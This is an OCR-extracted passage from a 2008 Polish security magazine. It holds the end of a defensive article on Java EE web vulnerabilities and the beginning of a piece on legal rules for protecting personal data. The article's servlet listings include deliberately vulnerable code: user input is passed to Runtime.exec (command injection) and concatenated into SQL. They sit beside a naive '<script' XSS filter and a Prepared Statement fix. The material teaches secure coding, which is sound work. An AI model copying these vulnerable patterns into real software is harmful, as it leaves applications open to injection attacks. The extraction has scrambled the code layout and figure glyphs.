pieczne  dane.  Zasada  działania  pro-
gramu jest bardzo prosta – sprawdza 
on,  czy  w  przekazanym  przez  użyt-
kownika ciągu znaków występuje ciąg 

<script

.  Funkcja  przechwytuje  także 

ewentualne  błędy,  powstałe  np.  pod-
czas odwoływania się do żądania wy-
słanego przez użytkownika. Jeżeli nie 
mamy czasu na pisanie swojego filtru, 
to  proponuję  zapoznać  się  z  kawał-
kiem kodu opracowanym przez Jose-
pha O’Conella, który można ściągnąć 
ze strony (6). 

Wstrzykiwanie poleceń

Z  poziomu  Javy  możemy  wywoły-
wać  także  inne  procesy.  Swobodny 
dostęp do innych programów pozwa-
la  nam  np.  na  korzystanie  z  dobro-
dziejstw języków skryptowych czy na-
rzędzi wbudowanych w system ope-
racyjny.  Istnieje  jednak  duże  ryzyko, 
że  jeżeli  użytkownik  zewnętrzny  bę-

Zalety JEE

Czyli dlaczego coraz więcej firm decyduje się na Javę:

•   Niskie koszty – Java posiada otwartą architekturę, co w dużym stopniu obniża koń-

cowe koszty poprzez zniwelowanie kosztów licencji.

•   Otwartość standardów – JEE jest otwartym zbiorem standardów, którego osta-

teczny wygląd może ulegać zmianie nie tylko w wyniku działań twórcy (Sun).

•   Model bezpieczeństwa – Java oferuje rozbudowany system bezpieczeństwa, ofe-

rujący  mechanizmy  wspomagające  autoryzację  użytkowników,  kryptografię  czy 
określanie dostępu do odpowiednich zasobów.

•   Przenośność – aplikacje pisane w Javie możemy uruchomić na dowolnym syste-

mie operacyjnym. Pozwala to na wybieranie lepszych rozwiązań i uniezależnienie 
się od konkretnych produktów.

•   Duża baza bibliotek – jeżeli nie możemy znaleźć odpowiedniej funkcji w standar-

dowych zbiorach bibliotek, zawsze możemy liczyć na duże wsparcie innych pro-
gramistów udostępniających swoje rozwiązania na licencji open source

Servlety i JSP

•   Servlet – jest to niewielki program napisany w Javie działający po stronie serwera, 

pozwalający na dodawanie dynamicznej zawartości na strony WWW. Servlety po-
wstały w odpowiedzi na takie języki, jak PHP czy ASP.NET. Działają na zasadzie od-
powiedzi na zapytania przesyłane przez użytkownika (request-response). Mają peł-
ny dostęp do pozostałych elementów języka. Mogą być dynamicznie generowane 
przez JSP.

•   JSP (Java Server Pages) – jest to technologia bardzo podobna do servletów. Tak-

że pozwala na dynamiczną generację treści na stronach internetowych. W przy-
padku JSP kod Java jest wpleciony w kod HTML. JSP podczas wykonywania są 
tłumaczone na servlety.

Rysunek 1. 

HTTPLiveHeaders w akcji 

background image

Bezpieczna Java

hakin9 Nr 3/2008

www.hakin9.org

65

dzie miał dostęp do parametrów wy-
wołania  nowego  procesu,  to  poziom 
bezpieczeństwa  naszego  programu 
drastycznie  spadnie.  Aby  lepiej  zo-
brazować  problem,  należy  prześle-
dzić  Listing  3.  Tworzymy  tam  nowy 
proces,  kontrolę  nad  którym  w  pełni 
oddajemy  użytkownikowi.  Nawet,  je-
śli zapewnimy naszej aplikacji świet-
ny  system  weryfikacji  użytkowników, 
to  przydzielenie  tak  dużych  upraw-
nień  jest  rażącym  błędem.  Atakują-
cy  może  uruchomić  na  naszym  ser-
werze dowolny program z dowolnymi 
parametrami  wejściowymi  i  uzyskać 
niekontrolowany  dostęp  do  chronio-
nych zasobów. 

Kod na Listingu 3. obrazuje jesz-

cze jeden dość częsty błąd progra-
mistyczny. W wielu przypadkach se-
rvlety w razie wystąpienia ewentual-
nych błędów zwracają na ekran stos 
wywołań.  Przykładowy  kod  został 
zamieszczony w sekcji catch(). Mo-
żemy  z  niego  odczytać  wiele  przy-
datnych  informacji,  takich  jak:  na-
zwy  funkcji,  klasy  czy  nazwy  pliku, 
w  którym  wystąpił  błąd.  Wszystkie 
te informacje mogą pomóc w pozna-
niu  wewnętrznej  struktury  aplikacji 
i  umożliwić  sprawniejszy  atak.  Na-
leży  pamiętać,  aby  za  wszelką  ce-
nę chronić treść wewnętrznych mo-
nitów  programu  przed  użytkownika-
mi końcowymi. 

SQL Injection

Myślę,  że  termin  SQL  Injection  jest 
wszystkim dobrze znany. Dla przypo-
mnienia napiszę, że jest to błąd wy-
nikający z niepoprawnego filtrowania 
danych przekazywanych przez użyt-
kownika,  w  następstwie  czego  mo-
dyfikowane  są  zapytania  do  bazy 
danych. Jako, że większość aplikacji 
pisanych  w  JEE  operuje  na  danych 
umieszczonych w bazach danych to 
błędy SQLI są bardzo popularne. Na 
Listingu  4  przedstawiony  jest  przy-
kład kodu podatnego na SQL Injec-
tion
.  Symuluje  on  prosty  system  lo-
gowania  wykorzystujący  sterow-
nik  JDBC.  Zmienne  przekazywane 
przez  użytkownika  nie  są  w  żaden 
sposób  filtrowane  i  mogą  być  przy-
czyną ataków na nasz system. Uży-
wając  znanych  sztuczek,  o  których 

nie warto pisać po raz setny, można 
oszukać program i uzyskać nieauto-
ryzowany dostęp do zasobów. W tym 
momencie warto zastanowić się czy 
istnieje prosta metoda zapobiegania 
takim sytuacjom. 

Odpowiedź jest jak zwykle jed-

noznaczna.  Programiści  opraco-
wali  techniki,  które  automatycznie 
filtrują  zmienne  wysyłane  do  na-
szej aplikacji i unieszkodliwiają nie-
bezpieczne  znaki  (‘,  *,  /,  itd.).  Na 
Listingu  5.  pokazana  jest  najlep-

sza  metoda  na  uniknięcie  błędów 
SQLI,  czyli  użycie  tzw.  Prepared 
Statements.  Prepared  Statements 
automatycznie  dodają  tzw.  zna-
ki  ucieczki
  do  zapytań  SQL,  któ-
re  uniemożliwiają  (a  przynajmniej 
utrudniają) atak. Jeżeli korzystamy 
z  zaawansowanych  frameworków 
odpowiedzialnych za dostęp do ba-
zy danych (np. popularny Hiberna-
te
), nie musimy martwić się o taką 
filtrację zapytań. Jest ona dokony-
wana automatycznie.

Listing 2. 

Podstawa naszego filtru przeciwko XSS

public

 

boolean

 

validation

(

HttpServletRequest

 

request

String

 

param

)

 

{

    

try

 

{

          

String

 

parameter

 

=

 

request

.

getParameter

(

param

)

;

          

if

 

(

 

parameter

.

indexOf

(

"<script"

)

 

!=

 

-

1

 

)

 

{

                  

return

 

true

;

      

}

    

}

 

catch

(

 

Exception

 

e

 

)

 

{}

 //lapiemy wyjatek, przeprowadzamy stosowne 

dzialania – logowanie bledu, ewentualny monit

    

return

 

false

;

  

}

Listing 3. 

Wstrzykiwanie poleceń

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public

 

class

 

ReqVuln

 

extends

 

HttpServlet

 

{

   
   

public

 

void

 

doGet

(

HttpServletRequest

 

request

,

HttpServletResponse

 

response

)

 

throws

 

ServletException

IOException

 

{

            

response

.

setContentType

(

"text/html"

)

;

            

PrintWriter

 

out

 

=

 

response

.

getWriter

()

;

            

out

.

println

(

"<HTML>"

)

;

out

.

println

(

"<HEAD><TITLE>ReqVul</TITLE></HEAD>"

)

;

            

out

.

println

(

"<BODY>"

)

;

            

String

 

program

 

=

 

request

.

getParameter

(

"no_filter"

)

;

 // przek. 

parametru

out

.

println

(

"Running program:  "

+

 

program

)

;

try

{

Runtime

 

runtime

 

=

 

Runtime

.

getRuntime

()

;

//uruchamiamy program

Process

 

process

 

=

 

runtime

.

exec

(

program

)

;

 

}

catch

 

(

Exception

 

e

)

  

{

  

 //stos wywolan

                  

for

(

StackTraceElement

 

ste

 

:

 

e

.

getStackTrace

())

                  

out

.

println

(

ste

.

getMethodName

())

;

  

}

            

out

.

println

(

"</BODY></HTML>"

)

;

         

}

   

public

 

void

  

doPost

(

HttpServletRequest

 

request

,

HttpServletResponse

 

response

)

 

throws

 

ServletException

IOException

 

{

   

doGet

(

request

response

)

;

}
}

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

66

Błędy żądań

Czyli  tzw.  Request  Bugs.  Przy  pro-
jektowaniu  zaawansowanych  syste-
mów  biznesowych  należy  pamiętać, 
że  atakujący  jest  w  stanie  zmie-
nić  praktycznie  każdy  parametr 
wywołania naszej strony. Jeżeli po-
bieramy  standardowe  informacje  z 
naszej witryny, takie jak nagłówek, 
wykorzystywany protokół, ciastecz-
ka czy nazwę przeglądarki, należy 
zawsze mieć na uwadze możliwość 
ich  modyfikacji  przez  atakującego. 
Modyfikacja tych danych jest banal-
nie prosta i możliwa np. przez plugin 
HTTPLiveHeaders dla przeglądarki 
Firefox. Jeżeli musimy operować na 
danych,  które  mogą  być  zmienione 
w łatwy sposób, musimy zachować 

szczególną ostrożność i podjąć od-
powiednie  kroki,  aby  zweryfikować 
ich autentyczność.

Błędy związane z 

zarządzaniem pamięcią

Błędy związane z nieprawidłowym ma-
nipulowaniem pamięcią w Javie są nie-
słychanie  ciekawe  i  kontrowersyjne. 
Z jednej strony można mówić, że Java 
jest językiem zapewniającym zaawan-
sowaną  kontrolę  pamięci  i  nie  moż-
na  przeprowadzić  ataków  typu  buffer 
overflow na aplikacjach pisanych w Ja-
vie. Z drugiej strony, nie jest to do końca 
prawdą i warto poznać sytuacje, w któ-
rych atak na bufor jest możliwy. 

Prawdą  jest,  że  aplikacje  pisane 

w  całości  w  Javie  są  bezpieczne 
i dzięki zarządzaniu pamięcią, rozbu-
dowanemu systemowi wyjątków i au-
tomatycznemu usuwaniu niepotrzeb-
nych  obiektów  (Garbage  Collector
większość błędów związanych z pa-
mięcią, a znanych choćby z C++, jest 
wyeliminowana.  Zdarza  się  jednak, 
że  programiści  pisząc  duże  projek-
ty  wykorzystują  tzw.  Java  Native  In-
terface (JNI) w celu użycia kodu na-
pisanego w innym języku. JNI pozwa-
la nam na współpracę z bibliotekami 
napisanymi w takich językach, jak C, 
C++ czy Asembler, które niestety nie 
słyną  z  bezpieczeństwa.  Co  więcej, 
kod  wykonywany  w  ramach  JNI  nie 
podlega  weryfikacji  przez  mechani-
zmy  bezpieczeństwa  zaimplemento-
wane w Javie. Jeżeli w kodzie napisa-
nym w C++ istnieje podatność, to jest 
ona  automatycznie  przenoszona  do 
naszego programu pisanego w Javie. 
Analizując strukturę atakowanej apli-
kacji,  zawsze  musimy  dopuszczać 
możliwość  istnienia  niebezpiecznych 
bibliotek pochodzących z innych języ-

Listing 4. 

Kod podatny na SQL Injection

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;

public

 

class

 

SQLIncjection

 

extends

 

HttpServlet

 

{

public

 

void

 

doGet

 

(

HttpServletRequest

 

request

HttpServletResponse

 

response

)

 

throws

 

ServletException

IOException

 

{

       

response

.

setContentType

(

"text/html"

)

;

       

PrintWriter

 

out

 

=

 

response

.

getWriter

()

;

       

out

.

println

(

"<HTML>"

)

;

    

out

.

println

(

"<HEAD><TITLE>SQLInjection</TITLE></HEAD>"

)

;

       

out

.

println

(

"<BODY>"

)

;

       

String

 

user

 

=

 

request

.

getParameter

(

user

)

;

 //podanie usera

       

String

 

password

 

=

 

request

.

getParameter

(

password

)

;

 //podanie hasla

       

try

 

         

{

      

Connection

 

conn

 

=

 

DriverManager

.

getConnection

(

"jdbc:mysql://localhost/

USERNAME?user=USERNAME&password=PASSWORD"

)

;

 //

polaczenie z baza

      

Statement

 

stmt

 

=

 

conn

.

createStatement

()

;

 

          

String

 

sql

 

=

 

"select * from usernames where username='"

 

+

 

user

 

+

"' 

and password='"

 

+

 

password

 

+

 

"'"

;

 //zapytanie SQL

      

ResultSet

 

rs

 

=

 

stmt

.

executeQuery

(

sql

)

;

 //wywolanie zapytania

      

if

 

(

rs

.

next

())

{

          

out

.

println

(

"Zalogowano"

)

;

      

}

      

else

 

{

   

out

.

println

(

"Blad"

)

;

}

      

rs

.

close

()

;

      

stmt

.

close

()

;

      

conn

.

close

()

;

      
       

}

   

catch

 

(

SQLException

 

e

)

 

{

      

out

.

println

(

"Message: "

 

+

 

e

.

getMessage

())

;

       

}

}
}

Przekazywanie danych do servletu

W celu lepszego zrozumienia błędów występujących w servletach należy zrozumieć 
sposób przekazywania danych do servletu przez użytkownika zewnętrznego. W pro-
gramach przedstawionych w tym artykule dane są pobierane za pomocą funkcji 

reque

st.getParameter("nazwa-elementu")

. Skąd są pobierane? Oczywiście z powiązanej 

strony z następującym, standardowym kodem HTML: 

<FORM ACTION="nazwa-servletu">
Wpisz dane: <INPUT TYPE="TEXT" NAME="nazwa-elementu"><BR>
<INPUT TYPE="SUBMIT">
</FORM>

W zależności od sposobu przekazywania parametrów (POST, GET) w naszym servle-
cie uruchamiana jest odpowiednia funkcja (

doPost

doGet

). 

background image

Bezpieczna Java

hakin9 Nr 3/2008

www.hakin9.org

67

ków. Jest to poważny błąd, który dra-
stycznie  zmniejsza  bezpieczeństwo 
aplikacji. 

Inne typy błędów

Błędy  w  aplikacjach  pisanych  pod 
JEE mogą być różnorodne, a ich licz-
ba  nie  jest  stała  i  z  góry  ustalona. 
Oprócz błędów opisanych w tym ar-
tykule  istnieje  cały  szereg  mniej  po-
pularnych i rzadszych nieprawidłowo-
ści w kodzie programu. Mogą to być 
np. błędy spowodowane użyciem sła-
bych  technik  kryptograficznych.  Je-
żeli  zdecydowaliśmy  się  na  pisanie 
własnych,  niepowtarzalnych  algoryt-
mów lub przechowujemy hasła w po-
staci  niezaszyfrowanej,  to  –  niestety 
–  nie  możemy  liczyć  na  wysoki  po-
ziom bezpieczeństwa. Często zdarza 
się  także,  że  systemy  uwierzytelnia-
jące  w  JEE  są  zbyt  skomplikowane, 
a  utrzymywanie  i  konserwacja  spra-
wiają  niemałe  kłopoty.  Pamiętajmy, 
że  oprócz  bezpiecznej  strategii  liczy 
się także prostota i przejrzystość. Ist-
nieje także cały szereg błędów zwią-
zanych z optymalizacją i odpowiedni-

mi  zabezpieczeniami  przed  atakami 
DoS i floodingiem, ale jest to osobny 
temat, który – mam nadzieję – uda mi 
się kiedyś poruszyć.

Podsumowanie

Powyższy artykuł miał za zadanie zain-
teresować Was tematyką mniej popu-
larnych języków programowania. War-
to  zainteresować  się  innymi  technolo-
giami i nie ograniczać się do stron pisa-
nych tylko i wyłącznie w PHP. W pracy 
będziemy  musieli  przeprowadzać  au-
dyt dla różnych klientów i nigdy nie bę-
dziemy wiedzieć, z jaką technologią się 
spotkamy. Myślę także, że lepiej praco-
wać na zlecenie dużej firmy, której apli-

kacje tworzone są w JEE, niż przepro-
wadzać  kontrolowane  ataki  na  śred-
niej  wielkości  strony  pisane  w  PHP. 
Z uwagi na ogrom zagadnień związa-
nych z bezpieczeństwem JEE nie mia-
łem  technicznej  możliwości  opisania 
wszystkich  rodzajów  błędów  i  najcie-
kawszych zagadnień. Mam jednak na-
dzieję, że zainteresowałem Was tą te-
matyką i będziecie kontynuować naukę 
we  własnym  zakresie.  Przedstawione 
techniki  przydadzą  się  zarówno  pro-
gramistom piszącym w JEE do opraco-
wania odpowiednich zabezpieczeń, jak 
i będą pomocne specjalistom ds. bez-
pieczeństwa w przygotowaniu należy-
tego wektora ataku. l

Listing 5. 

Logowanie za pomocą tzw. Prepared Statements

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;

public

 

class

 

SQLIncjection

 

extends

 

HttpServlet

 

{

public

 

void

 

doGet

 

(

HttpServletRequest

 

request

HttpServletResponse

 

response

)

 

throws

 

ServletException

IOException

 

{

       

response

.

setContentType

(

"text/html"

)

;

       

PrintWriter

 

out

 

=

 

response

.

getWriter

()

;

       

out

.

println

(

"<HTML>"

)

;

    

out

.

println

(

"<HEAD><TITLE>SQLInjection to przeszlosc</TITLE></HEAD>"

)

;

       

out

.

println

(

"<BODY>"

)

;

       

String

 

user

 

=

 

request

.

getParameter

(

user

)

;

 //podanie usera

       

String

 

password

 

=

 

request

.

getParameter

(

password

)

;

 //podanie hasla

    

try

 

         

{

      

Connection

 

conn

 

=

 

DriverManager

.

getConnection

(

"jdbc:mysql://localhost/

USERNAME?user=USERNAME&password=PASSWORD"

)

;

          

String

 

sql

 

=

 "

select

 

*

 

from

 

usernames

 

where

 

username

=

 ? 

and

 

password

=

 ?”

;

      

PreparedStatement

 

prep

 

=

 

Conn

.

prepareStatement

(

sql

)

;

 //przygotowanie 

zapytania

      

prep

.

setString

(

1

user

)

;

      

prep

.

setString

(

2

password

)

;

   
      

ResultSet

 

rs

 

=

 

prep

.

executeQuery

()

;

 //wywolanie zapytania

      

if

 

(

rs

.

next

())

{

          

out

.

println

(

"Zalogowano"

)

;

      

}

      

else

 

{

   

out

.

println

(

"Blad"

)

;

}

      

rs

.

close

()

;

      

prep

.

close

()

;

      

conn

.

close

()

;

      
       

}

   

catch

 

(

SQLException

 

e

)

 

{

      

out

.

println

(

"Message: "

 

+

 

e

.

getMessage

())

;

       

}

O autorze

Piotr  Łaskawiec,  student  Informatyki 
Stosowanej  na  Politechnice  Krakow-
skiej. Założyciel i przewodniczący Ko-
ła  Naukowego  PK  IT  Security  Group 
(www.pkitsec.pl). Od wielu lat związa-
ny z tematyką bezpieczeństwa kompu-
terowego.  Pasjonat  języka  Python.  W 
wolnych chwilach programuje i zajmu-
je się publicystyką. 
Kontakt z autorem:
hellsource@gmail.com

W Sieci

•   http://java.sun.com – strona główna 

Javy,

•   http://tomcat.apache.org  –  strona 

domowa serwera Tomcat,

•   http://www.eclipse.org – Eclipse IDE,
•   http://java.sun.com/javaee – strona 

JavaEE,

•   http://java.sun.com/javase/

technologies/securit – Java Security,

•   http://josephoconnell.com/java/

xss-html-filter.

background image

www.hakin9.org

hakin9 Nr 3/2008

68

Bezpieczna Firma

Z

agadnienie  bezpieczeństwa  systemów 
informatycznych,  w  których  przetwa-
rza  się  dane  osobowe,  nabiera  coraz 

większego znaczenia, ponieważ zakres takie-
go przetwarzania staje się coraz szerszy. Pod 
pojęciem  bezpieczeństwa  teleinformatyczne-
go danych osobowych należy rozumieć ochro-
nę  poufności,  rozliczalności  i  integralności 
danych  osobowych,  które  przetwarza  się 
w systemie informatycznym.

Za 

bezpieczeństwo 

przetwarzania 

danych  osobowych  w  systemie  informatycz-
nym  odpowiada  administrator  danych.  Ad-
ministratorem  danych
  jest  organ,  jednostka
organizacyjna,  podmiot  lub  osoba,  decy-
dująca  o  celach  i  środkach  przetwarzania 
danych osobowych. Bezpieczeństwo teleinfor-
matyczne  danych  osobowych  należy  zapew-
nić przed rozpoczęciem oraz w trakcie prze-
twarzania  danych  osobowych.  Podstawowe 
zasady  zabezpieczenia  danych  osobowych 
określa  Rozdział  5  –  Zabezpieczenie  danych 
osobowych 
ustawy o ochronie danych osobo-
wych.  Szczegółowe  wymagania  techniczne 
i  organizacyjne  związane  z  przetwarzaniem 
danych osobowych w systemach informatycz-
nych oraz zakres dokumentacji przetwarzania 

danych  osobowych  określa  Rozporządzenie 
Ministra  Spraw  Wewnętrznych  i  Administra-
cji w sprawie dokumentacji przetwarzania da-
nych osobowych oraz warunków technicznych 
i organizacyjnych, jakim powinny odpowiadać 
urządzenia  i  systemy  informatyczne  służące 
do przetwarzania danych osobowych

Przepisy prawa nakładają na administra-

tora  danych  szereg  obowiązków.  Podstawo-
wym  obowiązkiem  administratora  danych 
jest  zastosowanie  środków  technicznych 
i  organizacyjnych  zapewniających  ochro-
nę  danych  osobowych.  Zastosowane  środ-
ki  ochrony,  zgodnie  z  zasadą  adekwatno-

Bezpieczeństwo 

teleinformatyczne danych 

osobowych

Andrzej Guzik

stopień trudności

System informatyczny, w którym przetwarza się dane osobowe, 

powinien – oprócz wymagań wynikających z przepisów prawa 

– uwzględniać wymagania Generalnego Inspektora Ochrony 

Danych Osobowych w zakresie struktur baz danych osobowych 

oraz funkcjonalności zarządzających nimi aplikacji.

Z artykułu dowiesz się

•   jak  zapewnić  bezpieczeństwo  danym  osobo-

wym, które przetwarza się w systemie informa-
tycznym.

Co powinieneś wiedzieć

•   znać podstawowe zasady ochrony danych oso-

bowych.

background image

Bezpieczeństwo teleinformatyczne danych osobowych

hakin9 Nr 3/2008

www.hakin9.org

69

ści,  powinny  zapewniać  ochronę
danych  osobowych  odpowiednią 
do  zagrożeń  oraz  kategorii  da-
nych objętych ochroną (dane zwy-
kłe  bądź  dane  wrażliwe).  Usta-
wa  określa  następujące  zagroże-
nia  związane  z  przetwarzaniem 
danych  osobowych:  udostępnie-
nie  osobom  nieupoważnionym, 
zabranie  przez  osobę  nieupraw-
nioną,  przetwarzanie  z  narusze-
niem  ustawy  oraz  przypadkową 

zmianę,  utratę,  uszkodzenie  lub 
zniszczenie  danych  osobowych. 
Wśród  środków  technicznych  słu-
żących  do  ochrony  danych  oso-
bowych  można  wymienić  środki: 
sprzętowe,  programowe  (oprogra-
mowanie  systemowe,  użytkowe, 
narzędziowe)  oraz  telekomunika-
cyjne  (oprogramowanie  urządzeń 
teletransmisji). W celu nadzorowa-
nia  przestrzegania  zasad  ochrony 
danych  osobowych  w  organizacji 

wyznacza  się  administratora  bez-
pieczeństwa  informacji  (ABI).  ABI 
odpowiada między innymi za: nad-
zór  nad  zakresem  dostępu  osób 
upoważnionych  do  przetwarzania 
danych  osobowych,  nadzór  nad 
sposobem  przetwarzania  danych 
osobowych  w  systemach  informa-
tycznych, kontrolę zgodności syste-
mu  informatycznego  z  wymagania-
mi określonymi w przepisach prawa 
oraz za reakcję na incydenty naru-
szenia bezpieczeństwa danych oso-
bowych.

Administrator  bezpieczeństwa 

informacji  powinien  nadzorować, 
aby do przetwarzania danych oso-
bowych były dopuszczone wyłącz-
nie osoby posiadające upoważnie-
nie  wydane  przez  administratora
danych. Osoby, które zostały upo-
ważnione  do  przetwarzania  da-
nych osobowych, zobowiązane są 
do  zachowania  w  tajemnicy  tych 
danych oraz sposobów ich zabez-
pieczenia.  W  jednostce  organiza-
cyjnej  powinna  być  prowadzona 
ewidencja  osób  upoważnionych 
do  przetwarzania  danych  osobo-
wych.  Ewidencja  ta  powinna  za-
wierać  między  innymi:  imię  i  na-
zwisko  osoby  upoważnionej,  datę 
nadania i ustania oraz zakres upo-
ważnienia  do  przetwarzania  da-
nych osobowych (upoważnienie do 
zbierania,  utrwalania,  przechowy-
wania,  opracowywania,  zmienia-
nia,  udostępniania  lub  usuwania
danych  osobowych)  oraz  identy-
fikator  osoby.  Dodatkowo  admini-
strator  danych  zobowiązany  jest 

Przykłady nieprawidłowości przetwarzania danych 

osobowych w systemach informatycznych

•   nie wyznaczono administratora bezpieczeństwa informacji,
•   nie dostosowano systemów informatycznych do wymagań wynikających z przepi-

sów prawa,

•   nie  opracowano  instrukcji  zarządzania  systemem  informatycznym  służącym  do 

przetwarzania danych osobowych, 

•   nie zastosowano środków technicznych i organizacyjnych zapewniających ochro-

nę danych osobowych, 

•   nie  określono  poziomów  bezpieczeństwa  przetwarzania  danych  osobowych  w 

systemach informatycznych,

•   nie wydano upoważnień do przetwarzania danych osobowych osobom przetwa-

rzającym dane osobowe w systemie informatycznym, 

•   nie nadano odrębnych identyfikatorów osobom przetwarzającym dane osobowe w 

systemie informatycznym,

•   nie zawarto umowy powierzenia przetwarzania danych osobowych,
•   nie prowadzono ewidencji osób upoważnionych do przetwarzania danych osobo-

wych,

•   nie zgłoszono zbiorów danych osobowych do rejestracji do GIODO,
•   nie sporządzano kopii zapasowych,
•   nie zapewniono kontroli dostępu do danych osobowych.

Rysunek 1. 

Operacje przetwarzania 

danych osobowych

���������

����������

��������������

�������������

����������

�������������

��������

��������������

������

����������

Podstawy prawne

•   Rozdział 5 – Zabezpieczenie danych osobowych – ustawa z dnia 29 sierp-

nia 1997 r. o ochronie danych osobowych (tekst jedn. Dz. U. z 2002 r. Nr 101, 
poz. 926 z późn. zm.).

•   Rozporządzenie  Ministra  Spraw  Wewnętrznych  i  Administracji  z  dnia  29 

kwietnia 2004 r. w sprawie dokumentacji przetwarzania danych osobowych 
oraz warunków technicznych i organizacyjnych, jakim powinny odpowiadać 
urządzenia i systemy informatyczne służące do przetwarzania danych oso-
bowych (Dz. U. z 2004 r. Nr 100, poz. 1024).

•   Rozporządzenie  Ministra  Spraw  Wewnętrznych  i  Administracji  z  dnia  29 

kwietnia 2004 r. w sprawie wzoru zgłoszenia zbioru do rejestracji General-
nemu Inspektorowi Ochrony Danych Osobowych (Dz. U. z 2004 r. Nr 100, 
poz. 1025).

•   Zalecenia Generalnego Inspektora Ochrony Danych Osobowych:
•   Wytyczne w zakresie opracowania i wdrożenia polityki bezpieczeństwa,
•   Wskazówki  dotyczące  sposobu  opracowania  instrukcji  zarządzania  syste-

mem  informatycznym,  służącym  do  przetwarzania  danych  osobowych,  ze 
szczególnym uwzględnieniem wymogów bezpieczeństwa informacji,

•   Wymagania dotyczące struktur baz danych osobowych oraz funkcjonalności 

zarządzających nimi aplikacji.

background image

hakin9 Nr 3/2008

www.hakin9.org

Bezpieczna firma

70

zapewnić  kontrolę  nad  tym,  jakie 
dane osobowe i przez kogo zosta-
ły do zbioru danych wprowadzone 
oraz komu zostały przekazane.

Dokumentacja 

przetwarzania danych 

Na  administratorze  danych  cią-
ży  obowiązek  opracowania  doku-
mentacji  opisującej  sposób  prze-
twarzania danych osobowych oraz 
wdrożonych środków technicznych 
i  organizacyjnych.  Na  dokumen-
tację  przetwarzania  danych  oso-
bowych  składa  się  polityka  bez-
pieczeństwa  danych  osobowych 
oraz  instrukcja  zarządzania  sys-
temem  informatycznym  służącym 
do  przetwarzania  danych  osobo-
wych.
  Dokumentację  opracowu-
je  się  po  przeprowadzeniu  analizy
ryzyka z uwzględnieniem warunków 
charakterystycznych  dla  jednostki 
organizacyjnej,  w  której  mają  być 
przetwarzane  dane  osobowe.  Ana-
lizy  ryzyka  można  dokonać  stosu-
jąc  na  przykład  metody  opisane  w 
raporcie technicznym ISO/IEC TR 
13335-3  Technika  informatyczna 
–  Wytyczne  do  zarządzania  bez-
pieczeństwem  systemów  informa-
tycznych Część 3: Techniki zarzą-
dzania  bezpieczeństwem  syste-
mów  informatycznych.  
Raport  ten 
przedstawia  cztery  warianty  po-
dejścia  do  analizy  ryzyka:  podej-
ście  podstawowego  poziomu  bez-
pieczeństwa, podejście nieformal-
ne,  szczegółową  analizę  ryzyka  
i 
podejście  mieszane.  
Podstawo-

wa różnica pomiędzy nimi dotyczy 
stopnia  szczegółowości  analizy 
ryzyka. W oparciu o wyniki analizy 
ryzyka  dobiera  się  zabezpiecze-
nia.  Zastosowane  zabezpieczenia 
powinny  być  efektywne  kosztowo 
i uwzględniać wymagania wynika-
jące z przepisów prawa, wymaga-
nia biznesowe i wymagania z ana-
lizy ryzyka. Ryzyko, jakie powstaje
po  wprowadzeniu  zabezpieczeń, 
nazywamy  ryzykiem  szczątko-
wym

Polityka  bezpieczeństwa  da-

nych  osobowych  powinna  zawie-
rać w szczególności dane określo-
ne w Tabeli 1. Przy konstruowaniu 
polityki  bezpieczeństwa  danych 

osobowych  należy  uwzględnić 
zalecenia  Generalnego  Inspekto-
ra  Ochrony  danych  Osobowych 
(GIODO) – Wytycznych w zakresie 
opracowania  i  wdrożenia  polity-
ki  bezpieczeństwa  
oraz  opcjonal-
nie zapisy rozdziału 7.2 - Polityka
bezpieczeństwa  instytucji  w  za-
kresie  systemów  informatycznych 
i Załącznika A – Przykładowy spis 
treści  polityki  bezpieczeństwa  in-
stytucji w zakresie systemów infor-
matycznych  
raportu  technicznego 
ISO/IEC TR 13335-3.

Instrukcja  zarządzania  syste-

mem  informatycznym  służącym 
do  przetwarzania  danych  osobo-
wych  powinna  zawierać  w  szcze-
gólności  dane  określone  w  Tabe-
li  2.  Przy  konstruowaniu  instrukcji 
należy uwzględnić zalecenia GIO-
DO - Wskazówki dotyczące sposo-
bu  opracowania  instrukcji  zarzą-
dzania systemem informatycznym, 
służącym  do  przetwarzania  da-
nych  osobowych,  ze  szczególnym 
uwzględnieniem wymogów bezpie-
czeństwa informacji
.

Wymagania systemu 

informatycznego

System  informatyczny  służący  do 
przetwarzania  danych  osobowych 
powinien  charakteryzować  się 
określoną  funkcjonalnością  oraz 

Tabela 1. 

Zawartość dokumentu Polityka bezpieczeństwa danych 

osobowych

Lp. Zawartość dokumentu 

Polityka bezpieczeństwa danych osobowych

1

Wykaz budynków, pomieszczeń lub części pomieszczeń, tworzą-
cych obszar, w których przetwarzane są dane osobowe

2

Wykaz zbiorów danych osobowych wraz ze wskazaniem programów 
zastosowanych do przetwarzania tych danych

3

Opis struktury zbiorów danych wskazujący zawartość poszczegól-
nych pól informacyjnych i powiązania między nimi

4

Sposób przepływu danych pomiędzy poszczególnymi systemami

5

Określenie środków technicznych i organizacyjnych niezbędnych dla 
zapewnienia poufności, integralności i rozliczalności przetwarza-
nych danych

Rysunek 2. 

Zarządzanie ryzykiem

������

��������������

����������

���������
����������

�������

��������

�����������������

��������������

����������
�����������

������������

����������

��������

������

���������

�����������

�����

��������

�����

����������

�����������

����������

�������

��������

����������

background image

Bezpieczeństwo teleinformatyczne danych osobowych

hakin9 Nr 3/2008

www.hakin9.org

71

umożliwiać sporządzenie i wydruk 
raportu  dla  każdej  osoby,  której 
dane  osobowe  są  przetwarzane 
w  systemie.  System  powinien  za-
pewniać odnotowanie: daty pierw-
szego  wprowadzenia,  identyfika-
tora  użytkownika,  źródła  danych, 
informacji  o  odbiorcach  oraz 
sprzeciwu  osoby  wobec  przetwa-
rzania  jej  danych  w  przypadkach 
określonych w ustawie.

Przy  projektowaniu  systemów 

informatycznych  należy  uwzględ-
nić  zalecenia  GIODO  –  Wymaga-
nia dotyczące struktur baz danych 
osobowych  oraz  funkcjonalności 
zarządzających nimi aplikacji
.

Poziomy 

bezpieczeństwa 

Rozporządzenie  Ministra  Spraw 
Wewnętrznych  i  Administracji  w 
sprawie dokumentacji przetwarza-
nia  danych  osobowych  oraz  wa-
runków technicznych i organizacyj-
nych,  jakim  powinny  odpowiadać 
urządzenia i systemy informatycz-
ne  służące  do  przetwarzania  da-
nych  osobowych
  wprowadza  trzy 

poziomy bezpieczeństwa przetwa-
rzania danych osobowych: podsta-
wowy, podwyższony i wysoki. 

Poziom podstawowy

Poziom  podstawowy  stosuje  się, 
